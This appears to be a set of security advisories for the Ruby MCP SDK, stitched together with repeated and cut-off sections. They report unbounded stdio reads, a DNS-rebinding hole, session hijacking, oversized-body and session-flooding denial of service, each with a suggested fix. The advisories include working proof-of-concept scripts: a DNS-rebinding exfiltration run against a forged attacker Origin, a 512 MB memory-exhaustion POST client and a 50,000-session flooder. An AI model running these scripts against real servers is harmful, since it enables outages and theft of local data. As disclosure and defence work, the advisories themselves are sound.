50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

